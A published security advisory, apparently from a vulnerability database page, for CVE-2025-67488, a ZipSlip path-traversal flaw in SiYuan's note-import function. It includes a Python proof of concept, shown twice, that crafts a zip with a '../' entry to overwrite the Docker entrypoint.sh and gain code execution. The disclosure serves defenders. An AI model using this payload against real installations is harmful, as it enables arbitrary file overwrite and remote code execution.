ghsa-gqfv-g4v7-m366
Vulnerability from github
Published
2025-12-09 17:18
Modified
2025-12-09 21:37
Summary
SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE
Details

Summary

Function importZipMd is vulnerable to ZipSlip which allows an authenticated user to overwrite files on the system.

Details

An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is importZipMd, this can escalate to full code execution under some circumstances, for example using the official docker image it is possible to overwrite entrypoint.sh and after a container restart it will execute the changed code causing remote code execution.

PoC

Code used to generate the ZipSlip: ```python

!/usr/bin/env python3

import sys, base64, zipfile, io, time

def prepare_zipslip(filename): orgfile1 = open('Test.md','rb').read() payload = open('entrypoint.sh','rb').read() #b"testpayload"

zipslip = io.BytesIO()
with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:        
    info = zipfile.ZipInfo('Test.md')
    mtime = time.time()
    t = time.localtime(mtime)
    info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
    zipf.writestr(info, orgfile1)

    info = zipfile.ZipInfo(filename)
    mtime = time.time()
    t = time.localtime(mtime)
    info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
    zipf.writestr(info, payload)
return zipslip.getvalue()

gz = prepare_zipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh') open('exp.zip', 'wb').write(gz) ```

Impact

The exploit is possible only if the attacker has access to import functionality. It's possible to achieve code execution and some persistence within the container

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20251202123337-6ef83b42c7ce"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67488"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-09T17:18:04Z",
    "nvd_published_at": "2025-12-09T21:16:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nFunction [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190) is vulnerable to **ZipSlip** which allows an authenticated user to overwrite files on the system.\n\n### Details\nAn authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is  [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190), this can escalate to full code execution under some circumstances, for example using the official **docker image** it is possible to overwrite **entrypoint.sh** and after a container restart it will execute the changed code causing remote code execution.\n\n### PoC\nCode used to generate the ZipSlip:\n```python\n#!/usr/bin/env python3\nimport sys, base64, zipfile, io, time\n\ndef prepare_zipslip(filename):\n    orgfile1 = open(\u0027Test.md\u0027,\u0027rb\u0027).read()\n    payload =  open(\u0027entrypoint.sh\u0027,\u0027rb\u0027).read() #b\"testpayload\"\n    \n    zipslip = io.BytesIO()\n    with zipfile.ZipFile(zipslip, \u0027w\u0027, compression=zipfile.ZIP_DEFLATED) as zipf:        \n        info = zipfile.ZipInfo(\u0027Test.md\u0027)\n        mtime = time.time()\n        t = time.localtime(mtime)\n        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)\n        zipf.writestr(info, orgfile1)\n        \n        info = zipfile.ZipInfo(filename)\n        mtime = time.time()\n        t = time.localtime(mtime)\n        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)\n        zipf.writestr(info, payload)\n    return zipslip.getvalue()\n\ngz = prepare_zipslip(\u0027../../../../../../../../../../opt/siyuan/entrypoint.sh\u0027)\nopen(\u0027exp.zip\u0027, \u0027wb\u0027).write(gz)\n```\n\n### Impact\nThe exploit is possible only if the attacker has access to **import** functionality. It\u0027s possible to achieve code execution and some persistence within the container",
  "id": "GHSA-gqfv-g4v7-m366",
  "modified": "2025-12-09T21:37:49Z",
  "published": "2025-12-09T17:18:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gqfv-g4v7-m366"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67488"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: ZipSlip -\u003e Arbitrary File Overwrite -\u003e RCE"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…